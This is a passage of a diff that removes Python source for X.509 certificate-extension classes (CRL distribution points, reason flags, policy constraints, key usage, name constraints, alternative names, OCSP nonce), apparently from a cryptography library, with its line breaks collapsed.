"distribution_points must be a list of DistributionPoint " - "objects" - ) - - self._distribution_points = distribution_points - - __len__, __iter__, __getitem__ = _make_sequence_methods( - "_distribution_points" - ) - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CRLDistributionPoints): - return NotImplemented - - return self._distribution_points == other._distribution_points - - def __hash__(self) -> int: - return hash(tuple(self._distribution_points)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class FreshestCRL(ExtensionType): - oid = ExtensionOID.FRESHEST_CRL - - def __init__( - self, distribution_points: Iterable[DistributionPoint] - ) -> None: - distribution_points = list(distribution_points) - if not all( - isinstance(x, DistributionPoint) for x in distribution_points - ): - raise TypeError( - "distribution_points must be a list of DistributionPoint " - "objects" - ) - - self._distribution_points = distribution_points - - __len__, __iter__, __getitem__ = _make_sequence_methods( - "_distribution_points" - ) - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, FreshestCRL): - return NotImplemented - - return self._distribution_points == other._distribution_points - - def __hash__(self) -> int: - return hash(tuple(self._distribution_points)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class DistributionPoint: - def __init__( - self, - full_name: Iterable[GeneralName] | None, - relative_name: RelativeDistinguishedName | None, - reasons: frozenset[ReasonFlags] | None, - crl_issuer: Iterable[GeneralName] | None, - ) -> None: - if full_name and relative_name: - raise ValueError( - "You cannot provide both full_name and relative_name, at " - "least one must be None." - ) - if not full_name and not relative_name and not crl_issuer: - raise ValueError( - "Either full_name, relative_name or crl_issuer must be " - "provided." - ) - - if full_name is not None: - full_name = list(full_name) - if not all(isinstance(x, GeneralName) for x in full_name): - raise TypeError( - "full_name must be a list of GeneralName objects" - ) - - if relative_name: - if not isinstance(relative_name, RelativeDistinguishedName): - raise TypeError( - "relative_name must be a RelativeDistinguishedName" - ) - - if crl_issuer is not None: - crl_issuer = list(crl_issuer) - if not all(isinstance(x, GeneralName) for x in crl_issuer): - raise TypeError( - "crl_issuer must be None or a list of general names" - ) - - if reasons and ( - not isinstance(reasons, frozenset) - or not all(isinstance(x, ReasonFlags) for x in reasons) - ): - raise TypeError("reasons must be None or frozenset of ReasonFlags") - - if reasons and ( - ReasonFlags.unspecified in reasons - or ReasonFlags.remove_from_crl in reasons - ): - raise ValueError( - "unspecified and remove_from_crl are not valid reasons in a " - "DistributionPoint" - ) - - self._full_name = full_name - self._relative_name = relative_name - self._reasons = reasons - self._crl_issuer = crl_issuer - - def __repr__(self) -> str: - return ( - "".format(self) - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, DistributionPoint): - return NotImplemented - - return ( - self.full_name == other.full_name - and self.relative_name == other.relative_name - and self.reasons == other.reasons - and self.crl_issuer == other.crl_issuer - ) - - def __hash__(self) -> int: - if self.full_name is not None: - fn: tuple[GeneralName, ...] | None = tuple(self.full_name) - else: - fn = None - - if self.crl_issuer is not None: - crl_issuer: tuple[GeneralName, ...] | None = tuple(self.crl_issuer) - else: - crl_issuer = None - - return hash((fn, self.relative_name, self.reasons, crl_issuer)) - - @property - def full_name(self) -> list[GeneralName] | None: - return self._full_name - - @property - def relative_name(self) -> RelativeDistinguishedName | None: - return self._relative_name - - @property - def reasons(self) -> frozenset[ReasonFlags] | None: - return self._reasons - - @property - def crl_issuer(self) -> list[GeneralName] | None: - return self._crl_issuer - - -class ReasonFlags(utils.Enum): - unspecified = "unspecified" - key_compromise = "keyCompromise" - ca_compromise = "cACompromise" - affiliation_changed = "affiliationChanged" - superseded = "superseded" - cessation_of_operation = "cessationOfOperation" - certificate_hold = "certificateHold" - privilege_withdrawn = "privilegeWithdrawn" - aa_compromise = "aACompromise" - remove_from_crl = "removeFromCRL" - - -# These are distribution point bit string mappings. Not to be confused with -# CRLReason reason flags bit string mappings. -# ReasonFlags ::= BIT STRING { -# unused (0), -# keyCompromise (1), -# cACompromise (2), -# affiliationChanged (3), -# superseded (4), -# cessationOfOperation (5), -# certificateHold (6), -# privilegeWithdrawn (7), -# aACompromise (8) } -_REASON_BIT_MAPPING = { - 1: ReasonFlags.key_compromise, - 2: ReasonFlags.ca_compromise, - 3: ReasonFlags.affiliation_changed, - 4: ReasonFlags.superseded, - 5: ReasonFlags.cessation_of_operation, - 6: ReasonFlags.certificate_hold, - 7: ReasonFlags.privilege_withdrawn, - 8: ReasonFlags.aa_compromise, -} - -_CRLREASONFLAGS = { - ReasonFlags.key_compromise: 1, - ReasonFlags.ca_compromise: 2, - ReasonFlags.affiliation_changed: 3, - ReasonFlags.superseded: 4, - ReasonFlags.cessation_of_operation: 5, - ReasonFlags.certificate_hold: 6, - ReasonFlags.privilege_withdrawn: 7, - ReasonFlags.aa_compromise: 8, -} - -# CRLReason ::= ENUMERATED { -# unspecified (0), -# keyCompromise (1), -# cACompromise (2), -# affiliationChanged (3), -# superseded (4), -# cessationOfOperation (5), -# certificateHold (6), -# -- value 7 is not used -# removeFromCRL (8), -# privilegeWithdrawn (9), -# aACompromise (10) } -_CRL_ENTRY_REASON_ENUM_TO_CODE = { - ReasonFlags.unspecified: 0, - ReasonFlags.key_compromise: 1, - ReasonFlags.ca_compromise: 2, - ReasonFlags.affiliation_changed: 3, - ReasonFlags.superseded: 4, - ReasonFlags.cessation_of_operation: 5, - ReasonFlags.certificate_hold: 6, - ReasonFlags.remove_from_crl: 8, - ReasonFlags.privilege_withdrawn: 9, - ReasonFlags.aa_compromise: 10, -} - - -class PolicyConstraints(ExtensionType): - oid = ExtensionOID.POLICY_CONSTRAINTS - - def __init__( - self, - require_explicit_policy: int | None, - inhibit_policy_mapping: int | None, - ) -> None: - if require_explicit_policy is not None and not isinstance( - require_explicit_policy, int - ): - raise TypeError( - "require_explicit_policy must be a non-negative integer or " - "None" - ) - - if inhibit_policy_mapping is not None and not isinstance( - inhibit_policy_mapping, int - ): - raise TypeError( - "inhibit_policy_mapping must be a non-negative integer or None" - ) - - if inhibit_policy_mapping is None and require_explicit_policy is None: - raise ValueError( - "At least one of require_explicit_policy and " - "inhibit_policy_mapping must not be None" - ) - - self._require_explicit_policy = require_explicit_policy - self._inhibit_policy_mapping = inhibit_policy_mapping - - def __repr__(self) -> str: - return ( - "".format(self) - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PolicyConstraints): - return NotImplemented - - return ( - self.require_explicit_policy == other.require_explicit_policy - and self.inhibit_policy_mapping == other.inhibit_policy_mapping - ) - - def __hash__(self) -> int: - return hash( - (self.require_explicit_policy, self.inhibit_policy_mapping) - ) - - @property - def require_explicit_policy(self) -> int | None: - return self._require_explicit_policy - - @property - def inhibit_policy_mapping(self) -> int | None: - return self._inhibit_policy_mapping - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class CertificatePolicies(ExtensionType): - oid = ExtensionOID.CERTIFICATE_POLICIES - - def __init__(self, policies: Iterable[PolicyInformation]) -> None: - policies = list(policies) - if not all(isinstance(x, PolicyInformation) for x in policies): - raise TypeError( - "Every item in the policies list must be a PolicyInformation" - ) - - self._policies = policies - - __len__, __iter__, __getitem__ = _make_sequence_methods("_policies") - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CertificatePolicies): - return NotImplemented - - return self._policies == other._policies - - def __hash__(self) -> int: - return hash(tuple(self._policies)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class PolicyInformation: - def __init__( - self, - policy_identifier: ObjectIdentifier, - policy_qualifiers: Iterable[str | UserNotice] | None, - ) -> None: - if not isinstance(policy_identifier, ObjectIdentifier): - raise TypeError("policy_identifier must be an ObjectIdentifier") - - self._policy_identifier = policy_identifier - - if policy_qualifiers is not None: - policy_qualifiers = list(policy_qualifiers) - if not all( - isinstance(x, (str, UserNotice)) for x in policy_qualifiers - ): - raise TypeError( - "policy_qualifiers must be a list of strings and/or " - "UserNotice objects or None" - ) - - self._policy_qualifiers = policy_qualifiers - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PolicyInformation): - return NotImplemented - - return ( - self.policy_identifier == other.policy_identifier - and self.policy_qualifiers == other.policy_qualifiers - ) - - def __hash__(self) -> int: - if self.policy_qualifiers is not None: - pq = tuple(self.policy_qualifiers) - else: - pq = None - - return hash((self.policy_identifier, pq)) - - @property - def policy_identifier(self) -> ObjectIdentifier: - return self._policy_identifier - - @property - def policy_qualifiers( - self, - ) -> list[str | UserNotice] | None: - return self._policy_qualifiers - - -class UserNotice: - def __init__( - self, - notice_reference: NoticeReference | None, - explicit_text: str | None, - ) -> None: - if notice_reference and not isinstance( - notice_reference, NoticeReference - ): - raise TypeError( - "notice_reference must be None or a NoticeReference" - ) - - self._notice_reference = notice_reference - self._explicit_text = explicit_text - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, UserNotice): - return NotImplemented - - return ( - self.notice_reference == other.notice_reference - and self.explicit_text == other.explicit_text - ) - - def __hash__(self) -> int: - return hash((self.notice_reference, self.explicit_text)) - - @property - def notice_reference(self) -> NoticeReference | None: - return self._notice_reference - - @property - def explicit_text(self) -> str | None: - return self._explicit_text - - -class NoticeReference: - def __init__( - self, - organization: str | None, - notice_numbers: Iterable[int], - ) -> None: - self._organization = organization - notice_numbers = list(notice_numbers) - if not all(isinstance(x, int) for x in notice_numbers): - raise TypeError("notice_numbers must be a list of integers") - - self._notice_numbers = notice_numbers - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, NoticeReference): - return NotImplemented - - return ( - self.organization == other.organization - and self.notice_numbers == other.notice_numbers - ) - - def __hash__(self) -> int: - return hash((self.organization, tuple(self.notice_numbers))) - - @property - def organization(self) -> str | None: - return self._organization - - @property - def notice_numbers(self) -> list[int]: - return self._notice_numbers - - -class ExtendedKeyUsage(ExtensionType): - oid = ExtensionOID.EXTENDED_KEY_USAGE - - def __init__(self, usages: Iterable[ObjectIdentifier]) -> None: - usages = list(usages) - if not all(isinstance(x, ObjectIdentifier) for x in usages): - raise TypeError( - "Every item in the usages list must be an ObjectIdentifier" - ) - - self._usages = usages - - __len__, __iter__, __getitem__ = _make_sequence_methods("_usages") - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, ExtendedKeyUsage): - return NotImplemented - - return self._usages == other._usages - - def __hash__(self) -> int: - return hash(tuple(self._usages)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class OCSPNoCheck(ExtensionType): - oid = ExtensionOID.OCSP_NO_CHECK - - def __eq__(self, other: object) -> bool: - if not isinstance(other, OCSPNoCheck): - return NotImplemented - - return True - - def __hash__(self) -> int: - return hash(OCSPNoCheck) - - def __repr__(self) -> str: - return "" - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class PrecertPoison(ExtensionType): - oid = ExtensionOID.PRECERT_POISON - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PrecertPoison): - return NotImplemented - - return True - - def __hash__(self) -> int: - return hash(PrecertPoison) - - def __repr__(self) -> str: - return "" - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class TLSFeature(ExtensionType): - oid = ExtensionOID.TLS_FEATURE - - def __init__(self, features: Iterable[TLSFeatureType]) -> None: - features = list(features) - if ( - not all(isinstance(x, TLSFeatureType) for x in features) - or len(features) == 0 - ): - raise TypeError( - "features must be a list of elements from the TLSFeatureType " - "enum" - ) - - self._features = features - - __len__, __iter__, __getitem__ = _make_sequence_methods("_features") - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, TLSFeature): - return NotImplemented - - return self._features == other._features - - def __hash__(self) -> int: - return hash(tuple(self._features)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class TLSFeatureType(utils.Enum): - # status_request is defined in RFC 6066 and is used for what is commonly - # called OCSP Must-Staple when present in the TLS Feature extension in an - # X.509 certificate. - status_request = 5 - # status_request_v2 is defined in RFC 6961 and allows multiple OCSP - # responses to be provided. It is not currently in use by clients or - # servers. - status_request_v2 = 17 - - -_TLS_FEATURE_TYPE_TO_ENUM = {x.value: x for x in TLSFeatureType} - - -class InhibitAnyPolicy(ExtensionType): - oid = ExtensionOID.INHIBIT_ANY_POLICY - - def __init__(self, skip_certs: int) -> None: - if not isinstance(skip_certs, int): - raise TypeError("skip_certs must be an integer") - - if skip_certs < 0: - raise ValueError("skip_certs must be a non-negative integer") - - self._skip_certs = skip_certs - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, InhibitAnyPolicy): - return NotImplemented - - return self.skip_certs == other.skip_certs - - def __hash__(self) -> int: - return hash(self.skip_certs) - - @property - def skip_certs(self) -> int: - return self._skip_certs - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class KeyUsage(ExtensionType): - oid = ExtensionOID.KEY_USAGE - - def __init__( - self, - digital_signature: bool, - content_commitment: bool, - key_encipherment: bool, - data_encipherment: bool, - key_agreement: bool, - key_cert_sign: bool, - crl_sign: bool, - encipher_only: bool, - decipher_only: bool, - ) -> None: - if not key_agreement and (encipher_only or decipher_only): - raise ValueError( - "encipher_only and decipher_only can only be true when " - "key_agreement is true" - ) - - self._digital_signature = digital_signature - self._content_commitment = content_commitment - self._key_encipherment = key_encipherment - self._data_encipherment = data_encipherment - self._key_agreement = key_agreement - self._key_cert_sign = key_cert_sign - self._crl_sign = crl_sign - self._encipher_only = encipher_only - self._decipher_only = decipher_only - - @property - def digital_signature(self) -> bool: - return self._digital_signature - - @property - def content_commitment(self) -> bool: - return self._content_commitment - - @property - def key_encipherment(self) -> bool: - return self._key_encipherment - - @property - def data_encipherment(self) -> bool: - return self._data_encipherment - - @property - def key_agreement(self) -> bool: - return self._key_agreement - - @property - def key_cert_sign(self) -> bool: - return self._key_cert_sign - - @property - def crl_sign(self) -> bool: - return self._crl_sign - - @property - def encipher_only(self) -> bool: - if not self.key_agreement: - raise ValueError( - "encipher_only is undefined unless key_agreement is true" - ) - else: - return self._encipher_only - - @property - def decipher_only(self) -> bool: - if not self.key_agreement: - raise ValueError( - "decipher_only is undefined unless key_agreement is true" - ) - else: - return self._decipher_only - - def __repr__(self) -> str: - try: - encipher_only = self.encipher_only - decipher_only = self.decipher_only - except ValueError: - # Users found None confusing because even though encipher/decipher - # have no meaning unless key_agreement is true, to construct an - # instance of the class you still need to pass False. - encipher_only = False - decipher_only = False - - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, KeyUsage): - return NotImplemented - - return ( - self.digital_signature == other.digital_signature - and self.content_commitment == other.content_commitment - and self.key_encipherment == other.key_encipherment - and self.data_encipherment == other.data_encipherment - and self.key_agreement == other.key_agreement - and self.key_cert_sign == other.key_cert_sign - and self.crl_sign == other.crl_sign - and self._encipher_only == other._encipher_only - and self._decipher_only == other._decipher_only - ) - - def __hash__(self) -> int: - return hash( - ( - self.digital_signature, - self.content_commitment, - self.key_encipherment, - self.data_encipherment, - self.key_agreement, - self.key_cert_sign, - self.crl_sign, - self._encipher_only, - self._decipher_only, - ) - ) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class PrivateKeyUsagePeriod(ExtensionType): - oid = ExtensionOID.PRIVATE_KEY_USAGE_PERIOD - - def __init__( - self, - not_before: datetime.datetime | None, - not_after: datetime.datetime | None, - ) -> None: - if ( - not isinstance(not_before, datetime.datetime) - and not_before is not None - ): - raise TypeError("not_before must be a datetime.datetime or None") - - if ( - not isinstance(not_after, datetime.datetime) - and not_after is not None - ): - raise TypeError("not_after must be a datetime.datetime or None") - - if not_before is None and not_after is None: - raise ValueError( - "At least one of not_before and not_after must not be None" - ) - - if ( - not_before is not None - and not_after is not None - and not_before > not_after - ): - raise ValueError("not_before must be before not_after") - - self._not_before = not_before - self._not_after = not_after - - @property - def not_before(self) -> datetime.datetime | None: - return self._not_before - - @property - def not_after(self) -> datetime.datetime | None: - return self._not_after - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PrivateKeyUsagePeriod): - return NotImplemented - - return ( - self.not_before == other.not_before - and self.not_after == other.not_after - ) - - def __hash__(self) -> int: - return hash((self.not_before, self.not_after)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class NameConstraints(ExtensionType): - oid = ExtensionOID.NAME_CONSTRAINTS - - def __init__( - self, - permitted_subtrees: Iterable[GeneralName] | None, - excluded_subtrees: Iterable[GeneralName] | None, - ) -> None: - if permitted_subtrees is not None: - permitted_subtrees = list(permitted_subtrees) - if not permitted_subtrees: - raise ValueError( - "permitted_subtrees must be a non-empty list or None" - ) - if not all(isinstance(x, GeneralName) for x in permitted_subtrees): - raise TypeError( - "permitted_subtrees must be a list of GeneralName objects " - "or None" - ) - - self._validate_tree(permitted_subtrees) - - if excluded_subtrees is not None: - excluded_subtrees = list(excluded_subtrees) - if not excluded_subtrees: - raise ValueError( - "excluded_subtrees must be a non-empty list or None" - ) - if not all(isinstance(x, GeneralName) for x in excluded_subtrees): - raise TypeError( - "excluded_subtrees must be a list of GeneralName objects " - "or None" - ) - - self._validate_tree(excluded_subtrees) - - if permitted_subtrees is None and excluded_subtrees is None: - raise ValueError( - "At least one of permitted_subtrees and excluded_subtrees " - "must not be None" - ) - - self._permitted_subtrees = permitted_subtrees - self._excluded_subtrees = excluded_subtrees - - def __eq__(self, other: object) -> bool: - if not isinstance(other, NameConstraints): - return NotImplemented - - return ( - self.excluded_subtrees == other.excluded_subtrees - and self.permitted_subtrees == other.permitted_subtrees - ) - - def _validate_tree(self, tree: Iterable[GeneralName]) -> None: - self._validate_ip_name(tree) - self._validate_dns_name(tree) - - def _validate_ip_name(self, tree: Iterable[GeneralName]) -> None: - if any( - isinstance(name, IPAddress) - and not isinstance( - name.value, (ipaddress.IPv4Network, ipaddress.IPv6Network) - ) - for name in tree - ): - raise TypeError( - "IPAddress name constraints must be an IPv4Network or" - " IPv6Network object" - ) - - def _validate_dns_name(self, tree: Iterable[GeneralName]) -> None: - if any( - isinstance(name, DNSName) and "*" in name.value for name in tree - ): - raise ValueError( - "DNSName name constraints must not contain the '*' wildcard" - " character" - ) - - def __repr__(self) -> str: - return ( - f"" - ) - - def __hash__(self) -> int: - if self.permitted_subtrees is not None: - ps: tuple[GeneralName, ...] | None = tuple(self.permitted_subtrees) - else: - ps = None - - if self.excluded_subtrees is not None: - es: tuple[GeneralName, ...] | None = tuple(self.excluded_subtrees) - else: - es = None - - return hash((ps, es)) - - @property - def permitted_subtrees( - self, - ) -> list[GeneralName] | None: - return self._permitted_subtrees - - @property - def excluded_subtrees( - self, - ) -> list[GeneralName] | None: - return self._excluded_subtrees - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class Extension(typing.Generic[ExtensionTypeVar]): - def __init__( - self, oid: ObjectIdentifier, critical: bool, value: ExtensionTypeVar - ) -> None: - if not isinstance(oid, ObjectIdentifier): - raise TypeError( - "oid argument must be an ObjectIdentifier instance." - ) - - if not isinstance(critical, bool): - raise TypeError("critical must be a boolean value") - - self._oid = oid - self._critical = critical - self._value = value - - @property - def oid(self) -> ObjectIdentifier: - return self._oid - - @property - def critical(self) -> bool: - return self._critical - - @property - def value(self) -> ExtensionTypeVar: - return self._value - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Extension): - return NotImplemented - - return ( - self.oid == other.oid - and self.critical == other.critical - and self.value == other.value - ) - - def __hash__(self) -> int: - return hash((self.oid, self.critical, self.value)) - - -class GeneralNames: - def __init__(self, general_names: Iterable[GeneralName]) -> None: - general_names = list(general_names) - if not all(isinstance(x, GeneralName) for x in general_names): - raise TypeError( - "Every item in the general_names list must be an " - "object conforming to the GeneralName interface" - ) - - self._general_names = general_names - - __len__, __iter__, __getitem__ = _make_sequence_methods("_general_names") - - @typing.overload - def get_values_for_type( - self, - type: type[DNSName] - | type[UniformResourceIdentifier] - | type[RFC822Name], - ) -> list[str]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[DirectoryName], - ) -> list[Name]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[RegisteredID], - ) -> list[ObjectIdentifier]: ... - - @typing.overload - def get_values_for_type( - self, type: type[IPAddress] - ) -> list[_IPAddressTypes]: ... - - @typing.overload - def get_values_for_type( - self, type: type[OtherName] - ) -> list[OtherName]: ... - - def get_values_for_type( - self, - type: type[DNSName] - | type[DirectoryName] - | type[IPAddress] - | type[OtherName] - | type[RFC822Name] - | type[RegisteredID] - | type[UniformResourceIdentifier], - ) -> ( - list[_IPAddressTypes] - | list[str] - | list[OtherName] - | list[Name] - | list[ObjectIdentifier] - ): - # Return the value of each GeneralName, except for OtherName instances - # which we return directly because it has two important properties not - # just one value. - objs = (i for i in self if isinstance(i, type)) - if type != OtherName: - return [i.value for i in objs] # type: ignore[return-value,unused-ignore] - return list(objs) # type: ignore[return-value,unused-ignore] - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, GeneralNames): - return NotImplemented - - return self._general_names == other._general_names - - def __hash__(self) -> int: - return hash(tuple(self._general_names)) - - -class SubjectAlternativeName(ExtensionType): - oid = ExtensionOID.SUBJECT_ALTERNATIVE_NAME - - def __init__(self, general_names: Iterable[GeneralName]) -> None: - self._general_names = GeneralNames(general_names) - - __len__, __iter__, __getitem__ = _make_sequence_methods("_general_names") - - @typing.overload - def get_values_for_type( - self, - type: type[DNSName] - | type[UniformResourceIdentifier] - | type[RFC822Name], - ) -> list[str]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[DirectoryName], - ) -> list[Name]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[RegisteredID], - ) -> list[ObjectIdentifier]: ... - - @typing.overload - def get_values_for_type( - self, type: type[IPAddress] - ) -> list[_IPAddressTypes]: ... - - @typing.overload - def get_values_for_type( - self, type: type[OtherName] - ) -> list[OtherName]: ... - - def get_values_for_type( - self, - type: type[DNSName] - | type[DirectoryName] - | type[IPAddress] - | type[OtherName] - | type[RFC822Name] - | type[RegisteredID] - | type[UniformResourceIdentifier], - ) -> ( - list[_IPAddressTypes] - | list[str] - | list[OtherName] - | list[Name] - | list[ObjectIdentifier] - ): - return self._general_names.get_values_for_type(type) - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SubjectAlternativeName): - return NotImplemented - - return self._general_names == other._general_names - - def __hash__(self) -> int: - return hash(self._general_names) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class IssuerAlternativeName(ExtensionType): - oid = ExtensionOID.ISSUER_ALTERNATIVE_NAME - - def __init__(self, general_names: Iterable[GeneralName]) -> None: - self._general_names = GeneralNames(general_names) - - __len__, __iter__, __getitem__ = _make_sequence_methods("_general_names") - - @typing.overload - def get_values_for_type( - self, - type: type[DNSName] - | type[UniformResourceIdentifier] - | type[RFC822Name], - ) -> list[str]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[DirectoryName], - ) -> list[Name]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[RegisteredID], - ) -> list[ObjectIdentifier]: ... - - @typing.overload - def get_values_for_type( - self, type: type[IPAddress] - ) -> list[_IPAddressTypes]: ... - - @typing.overload - def get_values_for_type( - self, type: type[OtherName] - ) -> list[OtherName]: ... - - def get_values_for_type( - self, - type: type[DNSName] - | type[DirectoryName] - | type[IPAddress] - | type[OtherName] - | type[RFC822Name] - | type[RegisteredID] - | type[UniformResourceIdentifier], - ) -> ( - list[_IPAddressTypes] - | list[str] - | list[OtherName] - | list[Name] - | list[ObjectIdentifier] - ): - return self._general_names.get_values_for_type(type) - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, IssuerAlternativeName): - return NotImplemented - - return self._general_names == other._general_names - - def __hash__(self) -> int: - return hash(self._general_names) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class CertificateIssuer(ExtensionType): - oid = CRLEntryExtensionOID.CERTIFICATE_ISSUER - - def __init__(self, general_names: Iterable[GeneralName]) -> None: - self._general_names = GeneralNames(general_names) - - __len__, __iter__, __getitem__ = _make_sequence_methods("_general_names") - - @typing.overload - def get_values_for_type( - self, - type: type[DNSName] - | type[UniformResourceIdentifier] - | type[RFC822Name], - ) -> list[str]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[DirectoryName], - ) -> list[Name]: ... - - @typing.overload - def get_values_for_type( - self, - type: type[RegisteredID], - ) -> list[ObjectIdentifier]: ... - - @typing.overload - def get_values_for_type( - self, type: type[IPAddress] - ) -> list[_IPAddressTypes]: ... - - @typing.overload - def get_values_for_type( - self, type: type[OtherName] - ) -> list[OtherName]: ... - - def get_values_for_type( - self, - type: type[DNSName] - | type[DirectoryName] - | type[IPAddress] - | type[OtherName] - | type[RFC822Name] - | type[RegisteredID] - | type[UniformResourceIdentifier], - ) -> ( - list[_IPAddressTypes] - | list[str] - | list[OtherName] - | list[Name] - | list[ObjectIdentifier] - ): - return self._general_names.get_values_for_type(type) - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CertificateIssuer): - return NotImplemented - - return self._general_names == other._general_names - - def __hash__(self) -> int: - return hash(self._general_names) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class CRLReason(ExtensionType): - oid = CRLEntryExtensionOID.CRL_REASON - - def __init__(self, reason: ReasonFlags) -> None: - if not isinstance(reason, ReasonFlags): - raise TypeError("reason must be an element from ReasonFlags") - - self._reason = reason - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CRLReason): - return NotImplemented - - return self.reason == other.reason - - def __hash__(self) -> int: - return hash(self.reason) - - @property - def reason(self) -> ReasonFlags: - return self._reason - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class InvalidityDate(ExtensionType): - oid = CRLEntryExtensionOID.INVALIDITY_DATE - - def __init__(self, invalidity_date: datetime.datetime) -> None: - if not isinstance(invalidity_date, datetime.datetime): - raise TypeError("invalidity_date must be a datetime.datetime") - - self._invalidity_date = invalidity_date - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, InvalidityDate): - return NotImplemented - - return self.invalidity_date == other.invalidity_date - - def __hash__(self) -> int: - return hash(self.invalidity_date) - - @property - def invalidity_date(self) -> datetime.datetime: - return self._invalidity_date - - @property - def invalidity_date_utc(self) -> datetime.datetime: - if self._invalidity_date.tzinfo is None: - return self._invalidity_date.replace(tzinfo=datetime.timezone.utc) - else: - return self._invalidity_date.astimezone(tz=datetime.timezone.utc) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class PrecertificateSignedCertificateTimestamps(ExtensionType): - oid = ExtensionOID.PRECERT_SIGNED_CERTIFICATE_TIMESTAMPS - - def __init__( - self, - signed_certificate_timestamps: Iterable[SignedCertificateTimestamp], - ) -> None: - signed_certificate_timestamps = list(signed_certificate_timestamps) - if not all( - isinstance(sct, SignedCertificateTimestamp) - for sct in signed_certificate_timestamps - ): - raise TypeError( - "Every item in the signed_certificate_timestamps list must be " - "a SignedCertificateTimestamp" - ) - self._signed_certificate_timestamps = signed_certificate_timestamps - - __len__, __iter__, __getitem__ = _make_sequence_methods( - "_signed_certificate_timestamps" - ) - - def __repr__(self) -> str: - return f"" - - def __hash__(self) -> int: - return hash(tuple(self._signed_certificate_timestamps)) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PrecertificateSignedCertificateTimestamps): - return NotImplemented - - return ( - self._signed_certificate_timestamps - == other._signed_certificate_timestamps - ) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class SignedCertificateTimestamps(ExtensionType): - oid = ExtensionOID.SIGNED_CERTIFICATE_TIMESTAMPS - - def __init__( - self, - signed_certificate_timestamps: Iterable[SignedCertificateTimestamp], - ) -> None: - signed_certificate_timestamps = list(signed_certificate_timestamps) - if not all( - isinstance(sct, SignedCertificateTimestamp) - for sct in signed_certificate_timestamps - ): - raise TypeError( - "Every item in the signed_certificate_timestamps list must be " - "a SignedCertificateTimestamp" - ) - self._signed_certificate_timestamps = signed_certificate_timestamps - - __len__, __iter__, __getitem__ = _make_sequence_methods( - "_signed_certificate_timestamps" - ) - - def __repr__(self) -> str: - return f"" - - def __hash__(self) -> int: - return hash(tuple(self._signed_certificate_timestamps)) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SignedCertificateTimestamps): - return NotImplemented - - return ( - self._signed_certificate_timestamps - == other._signed_certificate_timestamps - ) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class OCSPNonce(ExtensionType): - oid = OCSPExtensionOID.NONCE - - def __init__(self, nonce: bytes) -> None: - if not isinstance(nonce, bytes): - raise TypeError("nonce must be bytes") - - self._nonce = nonce - - def __eq__(self, other: object) -> bool: - if not isinstance(other, OCSPNonce): - return NotImplemented - - return self.nonce == other.nonce - - def __hash__(self) -> int: - return hash(self.nonce) - - def __repr__(self) -> str: - return f"" - - @property - def nonce(self) -> bytes: - return self._nonce - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class OCSPAcceptableResponses(ExtensionType): - oid = OCSPExtensionOID.ACCEPTABLE_RESPONSES - - def __init__(self, responses: Iterable[ObjectIdentifier]) -> None: - responses = list(responses) - if any(not isinstance(r, ObjectIdentifier) for r in responses): - raise TypeError("All responses must be ObjectIdentifiers") - - self._responses = responses - - 